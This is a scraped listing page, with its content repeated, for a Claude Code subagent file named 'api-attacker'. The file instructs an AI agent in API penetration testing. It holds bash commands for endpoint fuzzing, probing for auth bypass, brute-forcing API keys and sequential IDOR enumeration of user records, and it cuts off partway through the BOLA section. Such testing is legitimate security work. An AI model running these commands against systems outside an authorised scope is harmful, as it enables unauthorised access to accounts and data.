api-attacker

Name: api-attacker
Author: mukul975

60stars17forks

How to install api-attacker?

mukul975/threatswarm/api-attacker

$curl -o .claude/agents/api-attacker.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/api-attacker.md

Installs into the current project.

Summary

API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication bypass, rate limit evasion, JWT attacks, GraphQL introspection abuse, API enumeration, and OWASP API Top 10. Triggers on: API, REST, GraphQL, gRPC, WebS

Files · 1

View on GitHub

.claude/agents/api-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting API testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:conducting-api-security-testing`
5	- `cybersecurity-skills:performing-graphql-security-assessment`
6	- `cybersecurity-skills:exploiting-idor-vulnerabilities`
7	- `cybersecurity-skills:testing-api-for-broken-object-level-authorization`
8	- `cybersecurity-skills:exploiting-mass-assignment-in-rest-apis`
9	- `cybersecurity-skills:exploiting-jwt-algorithm-confusion-attack`
10	- `cybersecurity-skills:performing-api-fuzzing-with-restler`
11
12	## Scope Enforcement
13	Verify API base URL and target domains are in scope.txt.
14	Rate limiting tests may generate high volume — confirm production systems are excluded.
15	Document all endpoints tested with HTTP method, status code, and timestamp.
16
17	## API Discovery
18	```bash
19	mkdir -p evidence/$(date +%Y%m%d)/$TARGET/api/{discovery,auth,bola,massassign,graphql,jwt}
20
21	# Probe common API endpoints
22	ffuf -u "$BASE_URL/FUZZ" \
23	-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
24	-mc 200,201,204,301,302,400,401,403,405,422 \
25	-o evidence/$(date +%Y%m%d)/$TARGET/api/discovery/ffuf_endpoints.json \
26	-of json \
27	-t 50 2>&1
28
29	# Try common API versioning prefixes
30	ffuf -u "$BASE_URL/FUZZ/users" \
31	-w /usr/share/seclists/Discovery/Web-Content/api/api-with-prefix.txt \
32	-mc 200,201,204,400,401,403 \
33	-o evidence/$(date +%Y%m%d)/$TARGET/api/discovery/version_discovery.json \
34	-of json 2>&1
35
36	# Try different HTTP methods on discovered endpoints
37	for endpoint in $(cat evidence/$(date +%Y%m%d)/$TARGET/api/discovery/discovered_endpoints.txt 2>/dev/null); do
38	echo "=== $endpoint ===" >> evidence/$(date +%Y%m%d)/$TARGET/api/discovery/method_test.txt
39	for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
40	STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X $method "$BASE_URL/$endpoint" \
41	-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json")
42	echo "$method $endpoint → $STATUS" >> evidence/$(date +%Y%m%d)/$TARGET/api/discovery/method_test.txt
43	done
44	done
45
46	# Check for documentation exposure
47	for path in swagger.json openapi.json openapi.yaml api-docs api/swagger api/docs \
48	swagger/index.html swagger-ui.html redoc v1/api-docs v2/api-docs; do
49	curl -s -o /dev/null -w "%{http_code} $path\n" "$BASE_URL/$path" 2>&1
50	done \| grep -v "^404" \| tee evidence/$(date +%Y%m%d)/$TARGET/api/discovery/docs_found.txt
51
52	# Arjun — hidden parameter discovery
53	arjun \
54	-u "$BASE_URL/api/endpoint" \
55	--stable \
56	-oJ evidence/$(date +%Y%m%d)/$TARGET/api/discovery/arjun_params.json \
57	2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/api/discovery/arjun.log
58	```
59
60	## Authentication Testing
61	```bash
62	# Test without authentication
63	curl -s -X GET "$BASE_URL/api/v1/users" \
64	-w "\nHTTP Status: %{http_code}\n" 2>&1
65
66	# Test with invalid token
67	curl -s -X GET "$BASE_URL/api/v1/users" \
68	-H "Authorization: Bearer invalid_token_here" \
69	-w "\nHTTP Status: %{http_code}\n" 2>&1
70
71	# Test with empty bearer
72	curl -s -X GET "$BASE_URL/api/v1/users" \
73	-H "Authorization: Bearer" \
74	-w "\nHTTP Status: %{http_code}\n" 2>&1
75
76	# Test with old/expired token (if available)
77	curl -s -X GET "$BASE_URL/api/v1/users" \
78	-H "Authorization: Bearer $EXPIRED_TOKEN" \
79	-w "\nHTTP Status: %{http_code}\n" 2>&1
80
81	# API key discovery — try common header names
82	for header in "X-API-Key" "X-Api-Key" "api-key" "apikey" "X-Auth-Token" "Authorization" "Token"; do
83	echo -n "Header $header: "
84	curl -s -o /dev/null -w "%{http_code}" "$BASE_URL/api/v1/profile" \
85	-H "$header: test123" 2>&1
86	echo ""
87	done \| tee evidence/$(date +%Y%m%d)/$TARGET/api/auth/header_test.txt
88
89	# Brute force API keys (if format known)
90	ffuf -u "$BASE_URL/api/v1/users" \
91	-H "X-API-Key: FUZZ" \
92	-w /usr/share/seclists/Discovery/Web-Content/api-keys.txt \
93	-mc 200,201,204,301,302 \
94	-t 10 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/api/auth/api_key_brute.txt
95	```
96
97	## BOLA / IDOR Testing (OWASP API1)
98	```bash
99	# Enumerate user IDs sequentially
100	ffuf -u "$BASE_URL/api/v1/users/FUZZ" \
101	-H "Authorization: Bearer $TOKEN" \
102	-w <(seq 1 10000) \
103	-mc 200,201,204 \
104	-fw $KNOWN_GOOD_WORDCOUNT \
105	-o evidence/$(date +%Y%m%d)/$TARGET/api/bola/user_idor.json \
106	-of json 2>&1
107
108	# Test GUID-based IDOR
109	ffuf -u "$BASE_URL/api/v1/orders/FUZZ" \
110	-H "Authorization: Bearer $TOKEN" \
111	-w /usr/share/seclists/Fuzzing/UUIDs/guids.txt \
112	-mc 200,201,204 \
113	-o evidence/$(date +%Y%m%d)/$TARGET/api/bola/order_idor.json \
114	-of json 2>&1
115
116	# Object-level auth bypass — access other user's resource

People who liked this also viewed

6 picks

Type

api-attacker

60stars17forks

View on GitHub

How to install api-attacker?

mukul975/threatswarm/api-attacker

$curl -o .claude/agents/api-attacker.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/api-attacker.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/api-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting API testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:conducting-api-security-testing`
5	- `cybersecurity-skills:performing-graphql-security-assessment`
6	- `cybersecurity-skills:exploiting-idor-vulnerabilities`
7	- `cybersecurity-skills:testing-api-for-broken-object-level-authorization`
8	- `cybersecurity-skills:exploiting-mass-assignment-in-rest-apis`
9	- `cybersecurity-skills:exploiting-jwt-algorithm-confusion-attack`
10	- `cybersecurity-skills:performing-api-fuzzing-with-restler`
11
12	## Scope Enforcement
13	Verify API base URL and target domains are in scope.txt.
14	Rate limiting tests may generate high volume — confirm production systems are excluded.
15	Document all endpoints tested with HTTP method, status code, and timestamp.
16
17	## API Discovery
18	```bash
19	mkdir -p evidence/$(date +%Y%m%d)/$TARGET/api/{discovery,auth,bola,massassign,graphql,jwt}
20
21	# Probe common API endpoints
22	ffuf -u "$BASE_URL/FUZZ" \
23	-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
24	-mc 200,201,204,301,302,400,401,403,405,422 \
25	-o evidence/$(date +%Y%m%d)/$TARGET/api/discovery/ffuf_endpoints.json \
26	-of json \
27	-t 50 2>&1
28
29	# Try common API versioning prefixes
30	ffuf -u "$BASE_URL/FUZZ/users" \
31	-w /usr/share/seclists/Discovery/Web-Content/api/api-with-prefix.txt \
32	-mc 200,201,204,400,401,403 \
33	-o evidence/$(date +%Y%m%d)/$TARGET/api/discovery/version_discovery.json \
34	-of json 2>&1
35
36	# Try different HTTP methods on discovered endpoints
37	for endpoint in $(cat evidence/$(date +%Y%m%d)/$TARGET/api/discovery/discovered_endpoints.txt 2>/dev/null); do
38	echo "=== $endpoint ===" >> evidence/$(date +%Y%m%d)/$TARGET/api/discovery/method_test.txt
39	for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
40	STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X $method "$BASE_URL/$endpoint" \
41	-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json")
42	echo "$method $endpoint → $STATUS" >> evidence/$(date +%Y%m%d)/$TARGET/api/discovery/method_test.txt
43	done
44	done
45
46	# Check for documentation exposure
47	for path in swagger.json openapi.json openapi.yaml api-docs api/swagger api/docs \
48	swagger/index.html swagger-ui.html redoc v1/api-docs v2/api-docs; do
49	curl -s -o /dev/null -w "%{http_code} $path\n" "$BASE_URL/$path" 2>&1
50	done \| grep -v "^404" \| tee evidence/$(date +%Y%m%d)/$TARGET/api/discovery/docs_found.txt
51
52	# Arjun — hidden parameter discovery
53	arjun \
54	-u "$BASE_URL/api/endpoint" \
55	--stable \
56	-oJ evidence/$(date +%Y%m%d)/$TARGET/api/discovery/arjun_params.json \
57	2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/api/discovery/arjun.log
58	```
59
60	## Authentication Testing
61	```bash
62	# Test without authentication
63	curl -s -X GET "$BASE_URL/api/v1/users" \
64	-w "\nHTTP Status: %{http_code}\n" 2>&1
65
66	# Test with invalid token
67	curl -s -X GET "$BASE_URL/api/v1/users" \
68	-H "Authorization: Bearer invalid_token_here" \
69	-w "\nHTTP Status: %{http_code}\n" 2>&1
70
71	# Test with empty bearer
72	curl -s -X GET "$BASE_URL/api/v1/users" \
73	-H "Authorization: Bearer" \
74	-w "\nHTTP Status: %{http_code}\n" 2>&1
75
76	# Test with old/expired token (if available)
77	curl -s -X GET "$BASE_URL/api/v1/users" \
78	-H "Authorization: Bearer $EXPIRED_TOKEN" \
79	-w "\nHTTP Status: %{http_code}\n" 2>&1
80
81	# API key discovery — try common header names
82	for header in "X-API-Key" "X-Api-Key" "api-key" "apikey" "X-Auth-Token" "Authorization" "Token"; do
83	echo -n "Header $header: "
84	curl -s -o /dev/null -w "%{http_code}" "$BASE_URL/api/v1/profile" \
85	-H "$header: test123" 2>&1
86	echo ""
87	done \| tee evidence/$(date +%Y%m%d)/$TARGET/api/auth/header_test.txt
88
89	# Brute force API keys (if format known)
90	ffuf -u "$BASE_URL/api/v1/users" \
91	-H "X-API-Key: FUZZ" \
92	-w /usr/share/seclists/Discovery/Web-Content/api-keys.txt \
93	-mc 200,201,204,301,302 \
94	-t 10 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/api/auth/api_key_brute.txt
95	```
96
97	## BOLA / IDOR Testing (OWASP API1)
98	```bash
99	# Enumerate user IDs sequentially
100	ffuf -u "$BASE_URL/api/v1/users/FUZZ" \
101	-H "Authorization: Bearer $TOKEN" \
102	-w <(seq 1 10000) \
103	-mc 200,201,204 \
104	-fw $KNOWN_GOOD_WORDCOUNT \
105	-o evidence/$(date +%Y%m%d)/$TARGET/api/bola/user_idor.json \
106	-of json 2>&1
107
108	# Test GUID-based IDOR
109	ffuf -u "$BASE_URL/api/v1/orders/FUZZ" \
110	-H "Authorization: Bearer $TOKEN" \
111	-w /usr/share/seclists/Fuzzing/UUIDs/guids.txt \
112	-mc 200,201,204 \
113	-o evidence/$(date +%Y%m%d)/$TARGET/api/bola/order_idor.json \
114	-of json 2>&1
115
116	# Object-level auth bypass — access other user's resource

People who liked this also viewed

6 picks

Type